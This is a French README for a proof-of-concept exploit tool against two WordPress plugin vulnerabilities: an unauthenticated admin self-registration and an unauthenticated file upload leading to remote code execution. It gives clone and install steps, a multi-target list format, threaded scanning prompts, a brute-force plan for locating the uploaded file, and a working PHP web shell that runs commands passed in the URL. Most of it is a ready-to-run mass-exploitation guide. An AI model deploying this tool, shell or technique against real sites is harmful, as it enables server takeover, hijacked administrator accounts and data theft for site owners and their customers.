
Privilège non authentifié | Téléversement arbitraire de fichier non authentifié
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-27542 |
| Sévérité | CRITIQUE — Score CVSS v3.1 : 9.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Composant affecté | Plugin WooCommerce Wholesale Lead Capture (WWLC) pour WordPress |
| Type de vulnérabilité | Élévation de privilèges non authentifiée |
| Authentification requise | Aucune |
| CWE | CWE-269 : Gestion inappropriée des privilèges |
Description :
Le plugin WooCommerce Wholesale Lead Capture pour WordPress est vulnérable à une élévation de privilèges non authentifiée dans toutes les versions affectées connues. La vulnérabilité réside dans le gestionnaire d'action AJAX wwlc_create_user, qui traite les demandes d'inscription des utilisateurs sans assainir ni valider correctement les champs de rôle fournis par l'utilisateur. Un attaquant distant non authentifié peut élaborer une requête POST spécialement conçue qui injecte des champs de capacités WordPress arbitraires — y compris wp_capabilities[administrator] — directement dans les métadonnées de l'utilisateur au moment de la création du compte. Cela permet à l'attaquant de s'inscrire lui-même en tant qu'administrateur WordPress sans aucune authentification préalable ni interaction d'un utilisateur légitime, entraînant la compromission totale de l'installation WordPress concernée.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-27540 |
| Sévérité | CRITIQUE — Score CVSS v3.1 : 9.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Composant affecté | Plugin WooCommerce Wholesale Lead Capture (WWLC) pour WordPress |
| Type de vulnérabilité | Téléversement arbitraire de fichier non authentifié (conduisant à une exécution de code à distance) |
| Authentification requise | Aucune |
| CWE | CWE-434 : Téléversement sans restriction d'un fichier de type dangereux |
Description :
Le plugin WooCommerce Wholesale Lead Capture pour WordPress est vulnérable à un téléversement arbitraire de fichier non authentifié dans toutes les versions affectées connues. La vulnérabilité réside dans l'action AJAX wwlc_file_upload_handler, qui est enregistrée sans aucune exigence d'authentification ni de vérification de nonce. En soumettant une requête POST multipart spécialement conçue à /wp-admin/admin-ajax.php, un attaquant distant non authentifié peut téléverser des fichiers de type arbitraire — y compris des shells web PHP — dans le répertoire wp-content/uploads/ du serveur, sous un sous-répertoire wwlc-temp-* généré dynamiquement. Une exploitation réussie conduit à une exécution de code à distance (RCE) sur le serveur web sous-jacent, s'exécutant avec le compte utilisateur du processus web.
Ceci est un script d'exploitation Proof-of-Concept (PoC) pour les deux vulnérabilités critiques décrites ci-dessus, ciblant les installations WordPress exécutant le plugin WooCommerce Wholesale Lead Capture. L'outil prend en charge deux modes d'attaque indépendants :
| Mode | Type d'attaque | Objectif |
|---|---|---|
| Mode 1 | Téléversement arbitraire de fichier non authentifié + découverte de dossier par force brute | Téléverser un shell web PHP et le localiser via une devination de dossiers multicouche |
| Mode 2 | Élévation de privilèges non authentifiée via l'inscription | S'inscrire soi-même en tant qu'administrateur WordPress et vérifier l'accès administrateur |
pip install requests urllib3 colorama
Ou installez via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
L'outil présente une interface de terminal interactive. Tous les paramètres requis vous seront demandés.
Créez un fichier texte brut (par exemple list.txt) avec une URL cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Exemple de fichier shell (shell.php) :
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Remarque : Le dossier
wwlc-temp-*est généré dynamiquement par le plugin à l'aide de la fonction PHPuniqid('wwlc-temp-'). L'outil utilise une stratégie de force brute multicouche pour le découvrir :
Couche Stratégie Description 0 Liste de répertoires Tente de lister le répertoire des téléversements s'il est ouvert 1 Basée sur des motifs Devinations numériques basées sur le temps et séquentielles 2 Hexadécimal basé sur le temps Initialisée par les horodatages des requêtes HTTP observées 3 Hexadécimal aléatoire Devination de chaînes hexadécimales purement aléatoires
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]: